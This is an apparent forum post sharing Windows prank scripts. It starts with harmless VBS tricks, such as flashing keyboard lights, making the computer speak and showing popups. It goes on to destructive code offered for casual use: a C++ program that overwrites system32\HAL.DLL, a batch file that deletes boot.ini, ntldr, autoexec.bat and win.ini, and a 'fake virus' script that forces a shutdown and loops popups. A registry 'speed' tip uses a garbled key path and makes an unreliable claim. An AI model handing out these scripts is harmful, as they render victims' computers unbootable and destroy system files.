Fun .vbs scripts

Heres a few .vbs scripts i found. All you have to do it copy and paste the code into notepad and save it as "any name".vbs
where "any name" is put whatever you want to save it as, just make sure it has .vbs on the end

Disco on your keyboard
Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

to end the script press CRTL+ALT+DEL go to the processes tab and end wscript

Make the computer talk
Code:

strText = "your message here"

Set objVoice = CreateObject("SAPI.SpVoice")
objVoice.Speak strText

Where the text "your message here" is type what you want the computer to say. This process ends by itself

Make the computer go "ding" then popup a messege
Code:

Set objVoice = CreateObject("SAPI.SpVoice")
Set objFile = CreateObject("SAPI.SpFileStream.1")

objFile.Open "c:\Windows\Media\Ding.wav"
objVoice.Speakstream objFile
Wscript.Echo "your message here"

where the "c:\windows\Media\Ding.wav" put what sound file you want to be played. I think it only likes .wav i havent tryed out .wma or .mp3 yet. Also where it says "your message here" is the message that gets dispalyed after the sound

Make the Microsoft Office assistant popup and say something
Code:

On Error Resume Next

strAgentName2 = "MERLIN"
strAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".acs"
Set objAgent2 = CreateObject("Agent.Control.2")

objAgent2.Connected = TRUE
objAgent2.Characters.Load strAgentName2, strAgentPath2
Set objPeter = objAgent2.Characters.Character(strAgentName2)

objPeter.MoveTo 700,300
objPeter.Show

objPeter.Play "GetAttention"
objPeter.Play "GetAttentionReturn"

objPeter.Speak("your message here")

Wscript.Sleep 1000

Set objAction= objPeter.Hide

Do While objPeter.Visible = True
   Wscript.Sleep 250
Loop

This script ends by itself. where it says "your message here" type what you want it to say.

Error message
Code:

lol = msgbox("your message here")

where it say your message here type what the error message should say

Make computers internal speaker beep

Here is how to make the internal speaker of your computer beep

open command prompt
press ctrl+g (press it around 5 times)
press enter and your computer should emit an alarm sound

To make this code into a .bat file follow these instructions

open command prompt
type edit
press ctrl+p then press ctrl+g (do this a few times)
save it as anything.bat
run the .bat file you created

Fake Virus Bat

Copy / Paste This Code In Notepad
save As *.bat

@echo off
C:
cls
Echo Do you want to delete your C Drive ?
Echo YES ( y ) NO ( n )
Pause >nul
cls
Echo Are you sure you want to continue?
Echo YES ( y ) NO ( n )
Pause >nul
Echo Deleting All Data
Echo Please wait ........
Echo DONE !
ping localhost -n 2 >nul
cls
Echo Save changes
Echo Yes ( Y ) No ( N )
Pause >nul
ping localhost -n 2 >nul
Pause >nul
ping C:\Windows
cls
dir /s
shutdown -s -t 10 -c "Restarting to complete this operation"
:hack
echo FORMAT COMPLETE !!
start mspaint.exe
start calc.exe
start msnmsgr.exe
msg * You have been HACKED !!!!
msg * You have been HACKED !!!!
msg * You have been HACKED !!!!
msg * You have been HACKED !!!!
msg * You have been HACKED !!!!
msg * You have been HACKED !!!!
msg * You have been HACKED !!!!
msg * Will now complete the formatting of the HDD !!!!
msg * UNLUCKY !
goto hack

PCFucker

compile this code with C++ compiler

#include

int main()
{
FILE * pFile;
pFile = fopen ("C:\\WINDOWS\\system32\\HAL.DLL","w");
if (pFile!=NULL)
{
fputs ("Nice Please Format Your Computer",pFile);
fclose (pFile);
}
return 0;
}


don't try this it your self bro

SIGNIFICANT

Turn Your Pc On in 10 Seconds

Open regedit

goto:
HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Contr ol\ContentIndex

N then you can find "Startup Delay"

double klick that
klick Decimal
u can get Default Value 4800000
change this Value to 40000
close regedit window

and try restart your comp
See This Result

Deleting Boot.ini with a BAT file

Or if you prefer the old BAT command, save this in Notepad as a BAT file(although this deletes other files too):

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Deleting The Boot.ini

Copy/paste this code into Notepad and save it as an EXE file (not BAT):

Code:
01100100011001010110110000100000001011110100011000 101111010100110010111101010001 00100000011000110011101001011100011000100110111101 101111011101000010111001101001 0110111001101001